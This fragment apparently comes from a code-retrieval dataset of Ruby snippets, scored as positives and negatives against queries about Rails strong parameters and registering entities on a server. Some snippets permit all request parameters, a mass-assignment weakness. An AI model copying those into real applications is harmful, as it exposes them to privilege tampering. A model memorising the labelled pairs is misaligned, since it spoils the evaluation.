"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "784c18224a5fb44b7ba2e2d95d76b340",
"score": "0.0",
"text": "def post_params\n params.require(:post).permit(:title, :body, :school_class_id)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
98a5522c4bae46eea02ec6991bed3d72
|
Register an entity on the Conductor Server uuid, first_name, last_name, auth_key, type TODO need to marshal dump and load EventMachine instance for messaging...
|
[
{
"docid": "cf497d8200573e2ad533b2b3f4266f6b",
"score": "0.6237612",
"text": "def register(data)\n unless @registered\n @user = Hashie::Mash.new(data)\n @user.event_machine_connection_id = @connection.id\n @user.event_machine_connection = self\n puts \"uuid: #{@user.uuid}\"\n puts \"first_name: #{@user.first_name}\"\n puts \"last_name: #{@user.last_name}\"\n puts \"software_key: #{@user.auth_key}\"\n puts \"type: #{@user.type}\"\n puts \"identifier (em): #{@user.event_machine_connection_id.to_s}\"\n \n # store user in global hash - (this could also be in mongodb,mysql,redis,etc)\n $connections.store(@user.uuid,@user)\n puts $connections.inspect\n \n unless !$connections.has_key? @user.uuid\n puts \"user is registered and in $connections hash\"\n @registered = true\n $ws_notifier.call(\"#{@user.uuid} just registered on the server\",\"connection\")\n else\n puts \"epic fail. shutting down now\"\n end\n else\n puts \"user is already registered. ignoring re-registration\"\n end\n \n end",
"title": ""
}
] |
[
{
"docid": "bda359e657709d4b6382f3fe70e8d3f3",
"score": "0.67836505",
"text": "def register\n physical_entity = {name: @name, description: @description, location:@location}\n virtual_entity = {uuid: nil}\n body = {body: {device: {name: @name, \n description: @description, \n model_name: @model, \n location: @location,\n physical_entity_attributes: physical_entity,\n virtual_entity_attributes: virtual_entity}}}\n response = self.class.post(API+'/devices', body)\n @uuid = response['uuid']\n end",
"title": ""
},
{
"docid": "57d235c5fd0125ac64d13f7a445897d0",
"score": "0.64774793",
"text": "def register(entity, type)\n entities[entity] << symbolize(type)\n end",
"title": ""
},
{
"docid": "10e72d4dd26e1f3095bfe16a9ef7c340",
"score": "0.614125",
"text": "def register(client); end",
"title": ""
},
{
"docid": "0ef35634f4fb35823bb23c42c45c6b3e",
"score": "0.6074526",
"text": "def register(entity)\n raise TypeError unless entity.kind_of? Consul::Model::HealthCheck or entity.kind_of? Consul::Model::Service\n case entity\n when Consul::Model::HealthCheck\n return register_with_backoff(build_check_url('register'), entity.extend(Consul::Model::HealthCheck::Representer), 0, 3)\n else\n entity = entity.extend(Consul::Model::Service::Representer)\n success, body = _put build_service_url('register'), entity.to_json\n if success\n logger.info(\"Successfully registered service #{entity.name}.\")\n c = check(\"service:#{entity.name}\") unless entity.check.nil?\n unless c.nil?\n # Pass the first health check\n logger.info(\"Updating status for health check #{c.check_id} to \\\"pass\\\".\")\n _get build_check_status_url(c.check_id, 'pass')\n end\n else\n logger.warn(\"Unable to register #{entity}. Reason: #{body}\")\n end\n return success\n end\n end",
"title": ""
},
{
"docid": "1de25d13fb059c4645aa8cc717c93f6e",
"score": "0.5967134",
"text": "def register(data)\n attendee = Attendee.find(data['attendeeId'])\n packet_id = data['packet_id']\n serial = data['serial']\n machine = attendee.event.machines.find_by(check_points: { registrar: current_user })\n return response_register_status(machine, packet_id, false) unless EventPolicy.new(current_user, attendee.event).write_attendee?\n return response_register_status(machine, packet_id, false) unless attendee.register(serial)\n\n serializable_attendee = ActiveModelSerializers::SerializableResource.new(attendee)\n RegistrarChannel.broadcast_to([current_user, attendee.event], type: EVENTS[:success], attendee: serializable_attendee.as_json)\n response_register_status(machine, packet_id, true)\n end",
"title": ""
},
{
"docid": "320dab0aafcb57d6e0c04301e6f572a6",
"score": "0.5949398",
"text": "def register_with_et\r\n App.et[\"accounts\"].each_pair do |account_name, account_config|\r\n next unless account_config[:rsvp_guest_list]\r\n ETSubscriberAdd.create!(\r\n :account => account_name,\r\n :target => self,\r\n :properties => {\r\n :list_id => account_config[:rsvp_guest_list],\r\n :values => {\r\n :email_address => self.email,\r\n :cobrand => cobrand.short_name\r\n }\r\n }\r\n )\r\n end\r\n end",
"title": ""
},
{
"docid": "02a8a8f749498ddebbbe641aa43ba27b",
"score": "0.59387326",
"text": "def register\n # Grab the facts for this node\n facts = MK.node.facts\n hw_id = MK.node.hw_id\n\n # Format the body of our register as a JSON message\n data = { 'hw_id' => hw_id, 'facts' => facts }.to_json\n\n # Grab our user agent header.\n user_agent = MK.node.user_agent\n\n # Build our headers for the request.\n headers = {\n 'Content-Type' => 'application/json',\n 'User-Agent' => user_agent\n }\n\n # Send our RPC registration command to the server; this will raise if\n # something goes wrong in the submission process.\n result = MK.server.send_register(data, headers)\n\n # Dispatch the command we received, unless there is none...\n execute(result['action']) unless result['action'] == 'none'\n\n # ...and we are good.\n return true\n end",
"title": ""
},
{
"docid": "1b4189d5fc83759f571244d44d8a8a85",
"score": "0.5938641",
"text": "def add_entity\n e = NSEntityDescription.new\n yield e\n register_entity(e)\n end",
"title": ""
},
{
"docid": "5a92fabf6f0d1826284a3e117690997e",
"score": "0.59367967",
"text": "def register(name, type=:system, uuid=nil, facts={}, username=nil,\n owner_key=nil, activation_keys=[], installedProducts=[],\n environment=nil)\n consumer = {\n :type => {:label => type},\n :name => name,\n :facts => facts,\n :installedProducts => installedProducts\n }\n\n consumer[:uuid] = uuid if not uuid.nil?\n\n if environment.nil?\n path = get_path(\"consumers\") + \"?\"\n path = path + \"owner=#{owner_key}&\" if not owner_key.nil?\n else\n path = \"/environments/#{environment}/consumers?\"\n end\n path += \"username=#{username}&\" if username\n path += \"activation_keys=\" + activation_keys.join(\",\") if activation_keys.length > 0\n @consumer = post(path, consumer)\n return @consumer\n end",
"title": ""
},
{
"docid": "6b4f6c2364ebd3a9b4b8bf178b0d86c5",
"score": "0.5933074",
"text": "def register\n puts \"register\"\n ApiBase.client.put(\"/device/#{self.id}\", self.to_json)\n end",
"title": ""
},
{
"docid": "89836aa883beffb15c4eb570871d7640",
"score": "0.5767764",
"text": "def register\n \n end",
"title": ""
},
{
"docid": "69bf5236985650b1741c176483bfddda",
"score": "0.56705606",
"text": "def register(object); end",
"title": ""
},
{
"docid": "aa6fc6c27b4678eedcc26829e71067b5",
"score": "0.56248957",
"text": "def register_for(id); end",
"title": ""
},
{
"docid": "bfe63847fc0be3e0f001f20b1ad4ffff",
"score": "0.56092775",
"text": "def create_entity(_options = {})\n # TODO: Handle exceptions\n entity = self.class.client.post(to_entity)[\"entity\"][self.class.entity_type].with_indifferent_access\n self.gr_id = entity[:id]\n end",
"title": ""
},
{
"docid": "eb2e4352951ec6c4bd44adef6d838915",
"score": "0.557889",
"text": "def register devicetype, &block\n\t\t\traise NotVerifiedError.new unless @verified\n\n\t\t\tif @username && @registered\n\t\t\t\tyield true, @username\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tmsg = %Q{{\"devicetype\":#{devicetype.to_json}}}\n\t\t\t@request_queue.post '/api', msg, :registration, nil, 6 do |response|\n\t\t\t\tstatus, result = check_json response\n\n\t\t\t\tif status\n\t\t\t\t\t@username = result.first['success']['username']\n\t\t\t\tend\n\n\t\t\t\tyield status, result\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "014837f38a4bfd1201f2d0df7d348db7",
"score": "0.55692714",
"text": "def create_remote(entity)\n log_event(\"[I] Creating remote user #{entity.id} (#{entity.uuid})\")\n @entity = entity\n rest(:post, PATH, data_for_remote)\n end",
"title": ""
},
{
"docid": "6ca94fa14f8ac9818e2d301cce05a3ab",
"score": "0.55610204",
"text": "def run\n super\n # create an ip\n ip_address = \"#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}\"\n x = create_entity Entities::Host, { :name => ip_address }\nend",
"title": ""
},
{
"docid": "ffe9037e1eb662337f256217cf194d09",
"score": "0.55560595",
"text": "def create_entity(entity, aliases)\n store_entity(entity, aliases)\n end",
"title": ""
},
{
"docid": "ca1dfea8c4e7d779a2c22178e3465229",
"score": "0.5534191",
"text": "def register\n end",
"title": ""
},
{
"docid": "ca1dfea8c4e7d779a2c22178e3465229",
"score": "0.5534191",
"text": "def register\n end",
"title": ""
},
{
"docid": "ca1dfea8c4e7d779a2c22178e3465229",
"score": "0.5534191",
"text": "def register\n end",
"title": ""
},
{
"docid": "23d67defd4fbcf6a4404ec0c28651ca7",
"score": "0.55210024",
"text": "def register\n end",
"title": ""
},
{
"docid": "402d260ec5a6d4dde454f23a3f52b977",
"score": "0.5490582",
"text": "def register\n @user = User.new\n @newclient = Client.new\n end",
"title": ""
},
{
